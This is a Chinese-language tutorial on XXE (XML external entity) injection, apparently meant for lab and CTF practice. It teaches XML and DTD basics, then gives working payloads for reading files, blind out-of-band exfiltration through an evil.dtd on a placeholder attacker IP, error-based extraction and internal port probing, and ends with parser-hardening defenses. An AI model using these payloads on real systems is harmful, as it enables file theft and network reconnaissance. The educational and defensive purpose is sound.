XXE&XML
字数 2044 2025-08-10 23:41:58

XXE漏洞全面解析与实战指南

1. XML基础

1.1 XML基础介绍

XML(可扩展标记语言)是一种用于存储和传输数据的标记语言,与HTML不同,XML专注于数据内容而非数据显示。

参考资源:

1.2 XML文档结构

XML文档由三部分组成:

  1. XML声明:<?xml version="1.0"?>
  2. DTD类型定义(可选)
  3. 文档元素

示例:

<!--XML声明-->
<?xml version="1.0"?>

<!--文档类型定义-->
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>

<!--文档元素-->
<note>
  <to>Dave</to>
  <from>Tom</from>
  <heading>Reminder</heading>
  <body>You are a good man</body>
</note>

1.3 DTD介绍

DTD(文档类型定义)用于定义XML文档的合法构建模块,可以内部声明或外部引用。

  • 内部声明DTD:<!DOCTYPE 根元素 [元素声明]>
  • 引用外部DTD:<!DOCTYPE 根元素 SYSTEM "文件名">

关键DTD关键字:

  • DOCTYPE:DTD的声明
  • ENTITY:实体的声明
  • SYSTEMPUBLIC:外部资源申请

1.4 实体类型

实体分为参数实体和普通实体:

  1. 参数实体:

    • 声明:<!ENTITY % 实体名称 "实体的值"><!ENTITY % 实体名称 SYSTEM "URI">
    • 引用:%实体名称;
    • 只能在DTD中声明和引用
  2. 普通实体:

    • 声明:<!ENTITY 实体名称 "实体的值"><!ENTITY 实体名称 SYSTEM "URI">
    • 引用:&实体名称;
    • 可在XML文档中引用

实体又可分为:

  • 内部实体:值直接定义在DTD中
  • 外部实体:值通过URI引用外部资源

1.5 外部实体

XXE漏洞主要利用外部实体引入,支持多种协议:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
  <!ENTITY content SYSTEM "file:///etc/passwd">
]>
<foo>
  <value>&content;</value>
</foo>

常见支持协议:

  • file:// - 本地文件系统
  • http:// - HTTP请求
  • ftp:// - FTP请求
  • php://filter - PHP过滤器

2. XXE漏洞基础

2.1 基本概念

XXE(XML External Entity Injection)即XML外部实体注入漏洞,发生在应用程序解析XML输入时,没有禁止外部实体的加载。

2.2 漏洞危害

  • 任意文件读取
  • 服务器端请求伪造(SSRF)
  • 内网端口扫描
  • 命令执行(特定环境下)
  • 拒绝服务攻击

2.3 输出形式

  1. 有回显:直接显示在响应中
  2. 无回显(Blind XXE):需要通过外带数据通道提取数据

2.4 XML与HTML差异

特性 XML HTML
设计目的 传输和存储数据 显示数据
焦点 数据内容 数据外观
标签 自定义 预定义

3. XXE漏洞测试

3.1 有回显测试

使用xxe-labs靶场(GitHub)进行测试。

测试步骤:

  1. 确定回显位置
  2. 构建payload读取文件

示例payload:

<?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY name SYSTEM "file:///c:/windows/win.ini">
]>
<user>
  <username>&name;</username>
  <password>1</password>
</user>

3.2 无回显测试

使用外带数据通道(OOB)提取数据。

常规测试方法:

  1. 搭建攻击服务器
  2. 查看服务器访问日志

示例payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
  <!ENTITY % shit SYSTEM "http://攻击者IP/1.txt">
  %shit;
]>

DNSlog测试方法:
使用Burp Collaborator或公开DNSlog服务。

示例payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
  <!ENTITY % d SYSTEM "http://子域名.burpcollaborator.net">
  %d;
]>

4. 任意文件读取

4.1 有回显案例

直接读取文件内容并显示。

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY rabbit SYSTEM "file:///c:/windows/win.ini">
]>
<user>
  <username>&rabbit;</username>
  <password>123</password>
</user>

4.2 无回显案例

通过外带数据通道获取文件内容。

攻击服务器evil.dtd内容:

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://攻击者IP/?data=%file;'>">
%all;

攻击payload:

<!DOCTYPE updateProfile [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
  <!ENTITY % dtd SYSTEM "http://攻击者IP/evil.dtd">
  %dtd;
  %send;
]>

4.3 基于报错的案例

通过构造错误URL将数据包含在报错信息中。

evil.dtd内容:

<!ENTITY % start "<!ENTITY % send SYSTEM 'file:///不存在的路径/%file;'>">
%start;

攻击payload:

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY % remote SYSTEM "http://攻击者IP/evil.dtd">
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
  %remote;
  %send;
]>
<message>1234</message>

5. 内网探测

5.1 端口探测

通过响应时间判断端口是否开放。

示例payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
  <!ELEMENT name ANY >
  <!ENTITY xxe SYSTEM "http://目标IP:端口" >
]>
<user>
  <username>&xxe;</username>
  <password>123456</password>
</user>

自动化测试:
使用Burp Intruder进行批量端口探测。

5.2 主机存活探测

原理与端口探测类似,去掉端口部分。

示例payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
  <!ELEMENT name ANY >
  <!ENTITY xxe SYSTEM "http://目标IP" >
]>
<user>
  <username>&xxe;</username>
  <password>123456</password>
</user>

6. 其他利用技巧

6.1 更改Content-Type

当应用默认使用JSON时,可尝试修改Content-Type为application/xmltext/xml

CTF示例(Jarvis-OJ-Web-XXE):

  1. 抓包修改Content-Type
  2. 替换JSON为XML payload

payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
  <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<x>&b;</x>

7. XXE漏洞防御

7.1 禁用外部实体

各语言禁用方法:

PHP:

libxml_disable_entity_loader(true);

Java:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))

7.2 输入过滤

过滤用户提交的XML数据中的关键词:

  • <!DOCTYPE
  • <!ENTITY
  • SYSTEM
  • PUBLIC

7.3 其他措施

  • 使用JSON替代XML
  • 使用较新的XML解析器(如libxml2 2.9+默认禁用外部实体)
  • 实施严格的输入验证
  • 配置WAF规则拦截XXE攻击

8. 参考资源

  1. 一篇文章带你深入理解漏洞之XXE漏洞
  2. CTF XXE
  3. Blind XXE详解
  4. xxe-lab靶场
XXE漏洞全面解析与实战指南 1. XML基础 1.1 XML基础介绍 XML(可扩展标记语言)是一种用于存储和传输数据的标记语言,与HTML不同,XML专注于数据内容而非数据显示。 参考资源: W3School XML教程 XML 1.0规范 1.2 XML文档结构 XML文档由三部分组成: XML声明: <?xml version="1.0"?> DTD类型定义(可选) 文档元素 示例: 1.3 DTD介绍 DTD(文档类型定义)用于定义XML文档的合法构建模块,可以内部声明或外部引用。 内部声明DTD: <!DOCTYPE 根元素 [元素声明]> 引用外部DTD: <!DOCTYPE 根元素 SYSTEM "文件名"> 关键DTD关键字: DOCTYPE :DTD的声明 ENTITY :实体的声明 SYSTEM 、 PUBLIC :外部资源申请 1.4 实体类型 实体分为参数实体和普通实体: 参数实体: 声明: <!ENTITY % 实体名称 "实体的值"> 或 <!ENTITY % 实体名称 SYSTEM "URI"> 引用: %实体名称; 只能在DTD中声明和引用 普通实体: 声明: <!ENTITY 实体名称 "实体的值"> 或 <!ENTITY 实体名称 SYSTEM "URI"> 引用: &实体名称; 可在XML文档中引用 实体又可分为: 内部实体:值直接定义在DTD中 外部实体:值通过URI引用外部资源 1.5 外部实体 XXE漏洞主要利用外部实体引入,支持多种协议: 常见支持协议: file:// - 本地文件系统 http:// - HTTP请求 ftp:// - FTP请求 php://filter - PHP过滤器 2. XXE漏洞基础 2.1 基本概念 XXE(XML External Entity Injection)即XML外部实体注入漏洞,发生在应用程序解析XML输入时,没有禁止外部实体的加载。 2.2 漏洞危害 任意文件读取 服务器端请求伪造(SSRF) 内网端口扫描 命令执行(特定环境下) 拒绝服务攻击 2.3 输出形式 有回显:直接显示在响应中 无回显(Blind XXE):需要通过外带数据通道提取数据 2.4 XML与HTML差异 | 特性 | XML | HTML | |-------------|--------------|-------------| | 设计目的 | 传输和存储数据 | 显示数据 | | 焦点 | 数据内容 | 数据外观 | | 标签 | 自定义 | 预定义 | 3. XXE漏洞测试 3.1 有回显测试 使用xxe-labs靶场( GitHub )进行测试。 测试步骤: 确定回显位置 构建payload读取文件 示例payload: 3.2 无回显测试 使用外带数据通道(OOB)提取数据。 常规测试方法: 搭建攻击服务器 查看服务器访问日志 示例payload: DNSlog测试方法: 使用Burp Collaborator或公开DNSlog服务。 示例payload: 4. 任意文件读取 4.1 有回显案例 直接读取文件内容并显示。 payload: 4.2 无回显案例 通过外带数据通道获取文件内容。 攻击服务器evil.dtd内容: 攻击payload: 4.3 基于报错的案例 通过构造错误URL将数据包含在报错信息中。 evil.dtd内容: 攻击payload: 5. 内网探测 5.1 端口探测 通过响应时间判断端口是否开放。 示例payload: 自动化测试: 使用Burp Intruder进行批量端口探测。 5.2 主机存活探测 原理与端口探测类似,去掉端口部分。 示例payload: 6. 其他利用技巧 6.1 更改Content-Type 当应用默认使用JSON时,可尝试修改Content-Type为 application/xml 或 text/xml 。 CTF示例(Jarvis-OJ-Web-XXE): 抓包修改Content-Type 替换JSON为XML payload payload: 7. XXE漏洞防御 7.1 禁用外部实体 各语言禁用方法: PHP: Java: Python: 7.2 输入过滤 过滤用户提交的XML数据中的关键词: <!DOCTYPE <!ENTITY SYSTEM PUBLIC 7.3 其他措施 使用JSON替代XML 使用较新的XML解析器(如libxml2 2.9+默认禁用外部实体) 实施严格的输入验证 配置WAF规则拦截XXE攻击 8. 参考资源 一篇文章带你深入理解漏洞之XXE漏洞 CTF XXE Blind XXE详解 xxe-lab靶场